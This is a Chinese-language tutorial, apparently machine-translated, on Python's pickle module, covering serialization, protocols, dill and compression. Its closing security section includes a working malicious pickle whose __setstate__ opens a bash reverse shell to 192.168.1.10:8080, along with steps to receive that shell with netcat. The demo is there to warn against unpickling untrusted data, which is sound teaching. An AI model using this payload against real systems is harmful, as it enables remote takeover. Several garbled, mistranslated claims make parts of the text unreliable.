Python教程-Python的Pickle模块
开发人员有时可能希望保存其对象的内部状态以供以后使用,以便跨网络传递复杂的对象命令。由于Python的Pickle模块,标准库支持的序列化过程可以用于完成这个任务。
本教程将讨论对象的序列化和反序列化,以及Python包用户应该使用来序列化对象。Python的Pickle模块可用于序列化各种类型的对象。我们还将介绍如何使用Pickle模块来序列化对象层次结构,以及开发人员在从不可靠的源中反序列化对象时可能面临的危险。
Python序列化
在序列化期间,数据结构被转换为线性形式,可以在序列化过程中存储或传输到网络。
Python的序列化功能使程序员可以将复杂的对象结构转换为一系列字节,这些字节可以通过网络发送或存储在磁盘上。开发人员可以将这种技术称为“编组”。相反,反序列化是序列化的相反过程,涉及将一系列字节转换为数据结构。这个过程被称为“解编”。
开发人员可以在许多不同的情境中使用序列化工具。一个例子是在处理训练阶段后保存神经网络的内部状态,以便以后可以使用它,而不必重复训练。
标准Python库有三个模块,允许程序员序列化和反序列化对象:
- pickle模块
- marshal模块
- json模块
开发人员可以使用Python来序列化对象,该对象还支持XML。
在这三个模块中,json模块是最新的。这使开发人员可以与标准JSON文件进行交互。用于交换数据的最佳和最常用格式是JSON。
JSON格式之所以受欢迎,原因包括:
- 人类可读
- 语言无关
- 比XML更轻量级
使用json模块,开发人员可以序列化和反序列化各种常见的Python类型,包括开发人员自定义的对象,并且比其他模块更快。
因此,开发人员有多种选项来序列化和反序列化Python对象。以下三个标准对于确定在开发人员的情况下哪种方法最合适至关重要:
- 不应使用marshal模块,因为解释器是其主要用户。根据官方文档,Python格式可以以不向后兼容的方式更改。
- 如果开发人员需要与多种语言兼容以及可读性强的格式,则XML和JSON是不错的选择。
- 对于所有其他情况,Python的pickle模块是理想的选择。假设开发人员更喜欢专有的可互操作格式而不是标准的可读格式。
如果他们要求序列化定制对象,则pickle模块是下一个可用的选项。
在Pickle模块内部
Python的pickle模块包括以下四种方法:
- dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
- dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
- load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
- loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
通过前两种方法执行pickling过程,通过后两种方法执行unpickling过程。
在dump()和dumps()之间,前者创建一个包含序列化结果的文件,而后者返回一个字符串。
开发人员可以记住,在dumps()函数中,"s"代表字符串,以区分它与dump()。
load()和loads()函数可以类似地使用。loads()函数操作字符串,而load()函数读取文件进行反序列化过程。
假设用户已经开发了一个名为forexample_class的自定义类,该类具有各种不同类型的特性:
- The_number
- The_string
- The_list
- The_dictionary
- The_tuple
下面的示例演示了如何创建该类的实例并将其pickle化以获取供用户使用的普通字符串。如果用户在pickle之后更改类的属性值,将不会影响pickle化的字符串。然后,用户可以还原pickle化的类的副本,并将之前pickle化的字符串反pickle化到另一个变量中。
示例:
# pickle.py
import pickle
class forexample_class:
the_number = 25
the_string = " hello"
the_list = [ 1, 2, 3 ]
the_dict = { " first ": " a ", " second ": 2, " third ": [ 1, 2, 3 ] }
the_tuple = ( 22, 23 )
user_object = forexample_class()
user_pickled_object = pickle.dumps( user_object ) # here, user is Pickling the object
print( f" This is user's pickled object: \n { user_pickled_object } \n " )
user_object.the_dict = None
user_unpickled_object = pickle.loads( user_pickled_object ) # here, user is Unpickling the object
print(
f" This is the_dict of the unpickled object: \n { user_unpickled_object.the_dict } \n " )
输出:
This is user's pickled object:
b' \x80 \x04 \x95$ \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c \x08__main__ \x94 \x8c \x10forexample_class \x94 \x93 \x94) \x81 \x94. '
This is the_dict of the unpickled object:
{' first ': ' a ', ' second ': 2, ' third ': [ 1, 2, 3 ] }
解释
在这里,pickle化过程已正确完成,并将整个实例存储在字符串中:b'\x80\x04\x95$\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x10forexample_class\x94\x93\x94)\x81\x94.'
。完成pickle化过程后,用户可以更改其原始对象,使the_dict属性等于None。
现在,用户可以反pickle化字符串,并创建一个全新的实例,当用户收到对象的原始结构的精确副本时,该结构可以追溯到pickle化过程的开始。
Python的Pickle模块协议格式
Python的pickle模块是Python独有的,只有另一个程序可以读取其输出。开发人员应该知道,尽管他们可能在使用Python,但pickle模块目前是先进的。
因此,如果开发人员使用特定Python版本对对象进行了pickle化,那么他们可能无法在较早版本中反pickle化它。
Python的Pickle模块支持六种不同的协议。根据协议版本的高低,需要最新版本的Python解释器来反pickle化。
- 协议版本0是最初的发布版。与其他协议不同,它可以被人类读取。
- 协议版本1是第一个使用二进制格式的版本。
- 协议版本2是在Python 2.3中引入的。
- 协议版本3包含在Python 3.0中。Python 2.x无法反pickle化它。
- 协议版本4在Python 3.4中引入。从Python 3.8开始,它是默认协议,支持各种对象大小和类型。
- 协议版本5在Python 3.8中引入。
可Pickle和不可Pickle的类型
尽管不是所有类型都可以pickle化,但我们已经讨论了Python的pickle模块可以序列化比json模块更多的类型。
除了数据库连接、活动线程、打开的网络套接字等等,不可pickle化对象的列表还包括这些项目。
如果发现自己被不可pickle化的对象所困,用户没有太多的选择。他们的第一个选择是使用第三方库,如Dill。
Dill库可以增加pickle的功能。使用这个库,用户可以序列化更少见的类型,包括嵌套函数、lambda函数、具有yield的函数等等。
用户可以尝试pickle化lambda函数来测试此模块。
例如:
import pickle
squaring = lambda x: x * x
user_pickle = pickle.dumps( squaring )
Python的pickle模块无法pickle化lambda函数,因此如果用户尝试运行此代码,将收到异常。
输出:
PicklingError Traceback (most recent call last)
<ipython-input-9-1141f36c69b9> in <module>
3
4 squaring = lambda x : x * x
----> 5 user_pickle = pickle.dumps(squaring)
PicklingError: Can't pickle <function <lambda> at 0x000001F1581DEE50>: attribute lookup <lambda> on __main__ failed
现在,用户可以尝试将pickle模块替换为Dill库,以查看差异。
例如:
# pickle_dill.py
import dill
squaring = lambda x: x * x
user_pickle = dill.dumps( squaring )
print( user_pickle )
输出:
b' \x80 \x04 \x95 \xb2 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c \ndill._dill \x94 \x8c \x10_create_function \x94 \x93 \x94 ( h \x00 \x8c \x0c_create_code \x94 \x93 \x94 ( K \x01K \x00K \x00K \x01K \x02KCC \x08| \x00| \x00 \x14 \x00S \x00 \x94N \x85 \x94 ) \x8c \x01x \x94 \x85 \x94 \x8c \x1f< ipython-input-11-30f1c8d0e50d > \x94 \x8c \x08< lambda > \x94K \x04C \x00 \x94 ) )t \x94R \x94c__builtin__ \n__main__ \nh \nNN } \x94Nt \x94R \x94. '
Dill库还有另一个有趣的功能,即序列化整个解释器会话。
例如:
squaring = lambda x : x * x
p = squaring( 25 )
import math
q = math.sqrt ( 139 )
import dill
dill.dump_session( ' testing.pkl ' )
exit()
在上面的示例中,用户启动了解释器,导入了模块,然后定义了lambda函数以及其他几个变量。然后,他们导入了dill库并调用了dump_session()函数,以序列化整个会话。
如果用户正确运行了代码,他们将在当前目录中获得testing.pkl文件。
输出:
$ ls testing.pkl
4 -rw-r--r--@ 1 dave staff 493 Feb 12 09:52 testing.pkl
现在,用户可以启动解释器的新实例,并加载testing.pkl文件,以恢复到上次会话。
例如:
globals().items()
输出:
dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) , ( ' _ih ' , [ ' ' , ' globals().items() ' ] ) , ( ' _oh ' , {} ) , ( ' _dh ' , [ ' C:\\Users \\User Name \\AppData \\Local \\Programs \\Python \\Python39 \\Scripts ' ] ) , ( ' In ' , [ ' ' , ' globals().items() ' ] ) , ( ' Out ' , {} ) , ( ' get_ipython ' , < bound method InteractiveShell.get_ipython of < ipykernel.zmqshell.ZMQInteractiveShell object at 0x000001E1CDD8DDC0 > > ) , ( ' exit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' quit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' _ ' , ' ' ) , ( ' __ ' , ' ' ) , ( ' ___ ' , ' ' ) , ( ' _i ' , ' ' ) , ( ' _ii ' , ' ' ) , ( ' _iii ' , ' ' ) , ( ' _i1 ' , ' globals().items() ' ) ] )
用户启动了解释器,导入了模块,然后定义了示例中的lambda函数以及其他几个变量。在导入dill库之后,他们运行了dump_session()函数,以序列化整个会话。
==
如果代码已经正确执行,测试的.pkl文件应该位于用户的当前目录中。
import dill
dill.load_session( ' testing.pkl ' )
globals().items()
输出:
dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) , ( ' _ih ' , [ ' ' , " squaring = lambda x : x * x \na = squaring( 25 ) \nimport math \nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ] ) , ( ' _oh ' , {} ) , ( ' _dh ' , [ ' C:\\ Users\\ User Name \\AppData \\Local \\Programs \\Python \\Python39 \\Scripts ' ] ) , ( ' In ' , [ ' ' , " squaring = lambda x : x * x \np = squaring( 25 ) \nimport math\nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ] ) , ( ' Out ' , {} ) , ( ' get_ipython ' , < bound method InteractiveShell.get_ipython of < ipykernel.zmqshell.ZMQInteractiveShell object at 0x000001E1CDD8DDC0 > > ) , ( ' exit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' quit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' _ ' , ' ' ) , ( ' __ ' , ' ' ) , ( ' ___ ' , ' ' ) , ( ' _i ' , ' ' ) , ( ' _ii ' , ' ' ) , ( ' _iii ' , ' ' ) , ( ' _i1 ' , " squaring = lambda x : x * x \np = squaring( 25 ) \nimport math \nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ) , ( ' _1 ' , dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > )
p
输出:
625
q
输出:
22.0
squaring
输出:
(x) >
初始的全局变量在这里。开发人员必须导入DILL库并调用load_session()来恢复他们的序列化解释器会话,就像item()语句所示,这表明了inter
Peter处于开始状态。
开发人员应该记住,如果他们使用dill库,pickle模块不是标准库的一部分。与pickle模块相比,它较慢。
尽管Dill库可以序列化比Pickle模块更多的对象,但它不能解决开发人员可能遇到的每个序列化问题。如果要序列化包含数据库连接的对象,开发人员不能使用Dill库。dill库具有未序列化的对象名称。
解决此问题的方法是在反序列化后不重新初始化连接的情况下序列化对象。
开发人员可以使用_getstate_()方法指定应包含在pickling过程中的对象以及其他详细信息。使用这种技巧,开发人员可以指示他们希望使用的内容。如果他们不覆盖_getstate_(),将使用_dict_(),默认实例。
在下面的示例中,用户在使用_getstate_()来排除序列化过程中的一个属性之前,使用了一些属性定义了类。
例如:
# custom_pickle.py
import pickle
class foobar:
def __init__( self ):
self.p = 25
self.q = " testing "
self.r = lambda x: x * x
def __getstate__( self ):
attribute = self.__dict__.copy()
del attribute[ 'r' ]
return attribute
user_foobar_instance = foobar()
user_pickle_string = pickle.dumps( user_foobar_instance )
user_new_instance = pickle.loads( user_pickle_string )
print( user_new_instance.__dict__ )
在上述示例中,用户生成了一个具有三个属性的对象,其中一个属性是lambda,这是pickle模块的一个无法序列化的对象。为了解决这个问题,他们定义了要在_getstate_()函数中序列化的属性。用户在删除不可序列化的属性'r'之前复制了整个实例的_dict_。
运行此代码并反序列化对象后,用户可以观察到新实例缺少'r'属性。
输出:
{'p': 25, 'q': ' testing '}
Pickle对象压缩
尽管pickle数据格式提供了对象结构的紧凑二进制表示,但用户仍然可以通过gzip或bzip2压缩使其pickle字符串更加高效。
用户必须使用Python标准库中提供的bz2模块来使用bzip2对pickle文本进行压缩。
举例说明,用户将在使用bz2包压缩pickled文本之前对字符串进行pickling。
例如:
import pickle
import bz2
user_string = """Per me si va ne la città dolente,
per me si va ne l'etterno dolore,
per me si va tra la perduta gente.
Giustizia mosse il mio alto fattore:
fecemi la divina podestate,
la somma sapienza e 'l primo amore;
dinanzi a me non fuor cose create
se non etterne, e io etterno duro.
Lasciate ogne speranza, voi ch'intrate."""
pickling = pickle.dumps( user_string )
compressed = bz2.compress( pickling )
len( user_string )
输出:
312
len( compressed )
输出:
262
用户需要记住,文件越小,处理速度越慢。
关于Pickle模块安全性的担忧
到目前为止,我们已经讨论了使用Python的pickle包来序列化和反序列化对象。当开发人员希望将对象的状态保存到磁盘或通过网络发送时,序列化是一种便捷的方法。
Python的pickle模块并不是很安全,这是开发人员需要了解的更多内容。我们已经讨论了使用_set state_()函数。最好使用这种方法来执行反pickle过程和其他初始化。
开发人员减少风险的选择有限。一般的准则是,开发人员不应该反pickle来自不可靠来源或通过不安全网络发送的数据。用户可以使用工具如hmac来签名数据,确保它没有被更改以防范攻击。
例如:
为了观察如何通过反pickle修改的pickle将用户系统暴露给攻击者。
# remote.py
import pickle
import os
class foobar:
def __init__( self ):
pass
def __getstate__( self ):
return self.__dict__
def __setstate__( self, state ):
# The attack is from 192.168.1.10
# The attacker is listening on port 8080
os.system('/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')
user_foobar = foobar()
user_pickle = pickle.dumps( user_foobar )
user_unpickle = pickle.loads( user_pickle )
作为一个例子
上面的示例中,反pickle过程调用的_set state_()函数将运行一个Bash命令,以打开到192.168.1.10系统上端口8080的远程shell。
用户可以在自己的Mac或Linux计算机上安全地测试该脚本。要列出到端口8080的连接,首先必须打开终端,然后使用nc命令。
例如:
$ nc -l 8080
攻击者将使用此终端。
然后,在同一台计算机上,用户必须打开另一个终端,并运行Python代码以删除恶意代码。
用户必须确保代码中的IP地址已更改以匹配他们正在攻击的终端的IP地址。
remote.py
攻击控制台现在将显示一个Bash shell。目前,被黑客入侵的系统可以直接操作此控制台。
例如:
$ nc -l 8080
输出:
bash: no job control in this shell
The default interactive shell is now zsh.
To update your account to use zsh, please run ` chsh -s /bin /zsh`.
For more details, please visit https://support.apple.com /kb /HT208060.
bash-3.1$